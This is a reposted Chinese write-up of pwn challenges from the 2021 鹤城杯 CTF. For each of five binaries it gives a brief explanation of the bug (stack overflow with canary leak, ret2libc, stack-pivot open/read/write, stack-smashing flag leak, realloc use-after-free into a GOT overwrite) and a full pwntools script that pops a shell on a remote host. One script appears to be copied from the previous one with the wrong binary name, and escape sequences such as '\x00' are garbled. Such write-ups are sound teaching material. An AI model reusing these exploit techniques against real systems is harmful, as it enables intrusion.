栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

2021鹤城杯pwn部分wp

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

2021鹤城杯pwn部分wp

littleof

白给的ret2libc, 第一个输出泄露canary, 第二个输出泄露libc基址顺便控制一下返回地址再返回去输入, 之后就getshell咯(摊手)

#!/usr/bin/env python
#coding=utf-8

from pwn import*
sh = remote("182.116.62.85", 27056)
#sh = process('./littleof')
elf = ELF('./littleof')
libc = ELF('./libc-2.27.so')
#libc = elf.libc
context.log_level='debug'

pop_rdi_ret = 0x0400863
main_addr = 0x0400789
pop_rsi_r15_ret = 0x0400861

payload = 'A'*(0x50-8)

sh.recvuntil("?")
sh.sendline(payload)
sh.recvuntil("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
canary = u64(sh.recv(8).ljust(8,b'x00'))
canary = canary - 0x0a

payload = 'a'*(0x50-8) + p64(canary) + 'b'*8 + p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main_addr)

sh.recvuntil("!")
sh.sendline(payload)

leak = u64(sh.recvuntil('x7f')[-6:].ljust(8,b'x00'))
libc_base = leak - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/shx00').next()

payload = 'D'*(0x50-8)

sh.recvuntil("?")
sh.sendline(payload)
sh.recv()

payload = 'c'*(0x50-8) + p64(canary) + 'd'*8 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(pop_rsi_r15_ret) + p64(0)*2 + p64(sys_addr)

sh.recvuntil("!")
sh.sendline(payload)

sh.interactive()

babyof

捏麻麻滴, 咋第二题和第一题相似还比第一题简单的? 依旧是白给的ret2libc, 但是第一个输出就能直接泄露出libc基址了, 不用考虑canary, 然后第二个输入直接getshell就完事了

#!/usr/bin/env python
#coding=utf-8

from pwn import*
sh = remote("182.116.62.85", 27056)
#sh = process('./littleof')
elf = ELF('./littleof')
libc = ELF('./libc-2.27.so')
#libc = elf.libc
context.log_level='debug'

pop_rdi_ret = 0x0400863
main_addr = 0x0400789
pop_rsi_r15_ret = 0x0400861

payload = 'a'*0x40 + 'b'*8 + p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main_addr)

sh.recvuntil("?")
sh.sendline(payload)

leak = u64(sh.recvuntil('x7f')[-6:].ljust(8,b'x00'))
libc_base = leak - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/shx00').next()

payload = 'c'*(0x50-8) + 'd'*8 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(pop_rsi_r15_ret) + p64(0)*2 + p64(sys_addr)

sh.recvuntil("?")
sh.sendline(payload)

sh.interactive()

onecho

栈上的orw, 还算有点新意, 总体思路是先利用前面的scanf("%s")的溢出控制返回地址, 但是由于有这玩意(后来想想这玩意好像也没啥比用, 但俺懒得删前面的了)
导致我们要在ret的返回地址+4处写上一个可写地址来应付memcpy, 所以我选择了个.bss地址, 毕竟没开pie, 同时我后面也要栈迁移

之后就是先泄露libc, 再栈迁移, 这是第一段payload的作用

第二段payload是为了执行orw的, 就是这样咯~

至于第一段写的p32(0), 一开始想绕过strlen用的, 后来不知道起作用没, 也懒得想了

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#sh=process('./onecho')
sh=remote('182.116.62.85',24143)
elf=ELF('./onecho')
libc=ELF('./libc/libc.so.6')
#libc=elf.libc
context.log_level='debug'

add_esp_0x10_leave_ret=0x080492a2
pop_esi_edi_ebp_ret=0x08049811
pop_ebx_ret=0x08049022
leave_ret=0x080492a5

#gdb.attach(sh, 'b *0x080495F7')
sh.recvuntil('name:n')
payload='a'*4+p32(0)+'b'*260+p32(0x0804c100)+p32(pop_ebx_ret)+p32(0x0804c100)
        +p32(elf.plt['puts'])+p32(pop_ebx_ret)+p32(elf.got['puts'])+p32(elf.plt['read'])
        +p32(add_esp_0x10_leave_ret)+p32(0)+p32(0x0804c100)+p32(0x1000)+p32(0x1000)
sh.sendline(payload)
libc_base=u32(sh.recv(4))-libc.sym['puts']
log.success("libc base: "+hex(libc_base))
payload2=p32(0x0804c800)+p32(libc_base+libc.sym['open'])+p32(pop_esi_edi_ebp_ret)+p32(0x0804c140)
        +p32(0)*2+p32(elf.plt['read'])+p32(pop_esi_edi_ebp_ret)+p32(3)+p32(0x0804c400)
        +p32(0x100)+p32(elf.plt['write'])+p32(0)+p32(1)+p32(0x0804c400)+p32(0x100)+'flag'
sh.send(payload2)
sh.recv()
sh.interactive()
easyecho

在name那多输入点数据, 这样就能和栈上存储程序地址的数据拼接起来, 在后面%s泄露pie偏移, 再在后面输入backdoor让flag存在程序中, 最后利用gets狂输入flag存储地址同时触发smashing, 就能打印出flag了(至于为什么会想到这方法, 是因为实在想不出怎么泄露canary)

#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh=process('./easyecho')
#sh=remote('182.116.62.85',24842)
elf=ELF('./easyecho')
context.log_level='debug'
#gdb.attach(sh, 'b *$rebase(0xb18)')

sh.recvuntil('Name: ')
sh.sendline('sb'*9)

sh.recvuntil('sb'*8)
leak=u64(sh.recv(6).ljust(8, '0'))
pie_base=leak-0xcf0
log.success('pie base: '+hex(pie_base))

sh.recvuntil('Input: ')
sh.sendline('backdoor')
flag_addr=pie_base+0x202040

sh.recvuntil('Input: ')
payload='exitexit'.ljust(16, 'x00')+p64(flag_addr)*0x100
sh.sendline(payload)
sh.interactive()
PWN1

先写一下node的结构

然后add就是先malloc一个node节点, 之后写入name, price, description_size, 最后再malloc一个description, 然后写入数据, 这里没问题

之后del也全部free后置零了, 主要问题出现在edit_description, 它使用了realloc, 而realloc在面对申请比原本chunk大的size时会先释放原来的chunk, 再申请个符合新size的chunk, 同时本题只是realloc了, 却并没有再做node->description=realloc()的操作, 所以该description依旧指向free的小chunk, 因此造成了uaf, 同时由于got可写且struct node中存在指针, 则可以考虑让new node被分配uaf的chunk, 这样我们编辑old node的description时就是在编辑new node的结构, 最后改写description指针让它指向got表则改写got表就可以getshell啦

(所以为什么不给libc文件呢)

#coding:utf8  
from pwn import *  
from LibcSearcher import *  
  
#sh = process('./task_supermarket')  
sh = remote('182.116.62.85',27518)  
elf = ELF('./task_supermarket')  
context.binary = elf
#context.log_level = 'debug'
atoi_got = elf.got['atoi']  
  
def create(index,size,content):  
   sh.sendlineafter('your choice>>','1')  
   sh.sendlineafter('name:',str(index))  
   sh.sendlineafter('price:','10')  
   sh.sendlineafter('descrip_size:',str(size))  
   sh.sendlineafter('description:',content)  
  
def delete(index):  
   sh.sendlineafter('your choice>>','2')  
   sh.sendlineafter('name:',str(index))  
  
def show():  
   sh.sendlineafter('your choice>>','3')  
  
def edit(index,size,content='/bin/shx00'):  
   sh.sendlineafter('your choice>>','5')  
   sh.sendlineafter('name:',str(index))  
   sh.sendlineafter('descrip_size:',str(size))  
   sh.sendlineafter('description:',content)  
  
'''old node'''
create(0,0x80,'o'*0x10)  
create(1,0x20,'o'*0x10)  
edit(0,0x90)  

'''new node'''
create(2,0x20,'d'*0x10)  
payload = 'n'.ljust(16,'x00') + p32(20) + p32(0x20) + p32(atoi_got)  
edit(0,0x80,payload) 

'''get libc base''' 
show()  
sh.recvuntil('2: price.20, des.')  
atoi_addr = u32(sh.recvuntil('n').split('n')[0].ljust(4,'x00'))  
  
libc = LibcSearcher('atoi',atoi_addr)  
libc_base = atoi_addr - libc.dump('atoi')  
system_addr = libc_base + libc.dump('system')  
edit(2,0x20,p32(system_addr))  

'''getshell'''  
sh.sendlineafter('your choice>>','/bin/shx00')  
  
sh.interactive()  
赛后bb:

pwn好水啊

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/307388.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号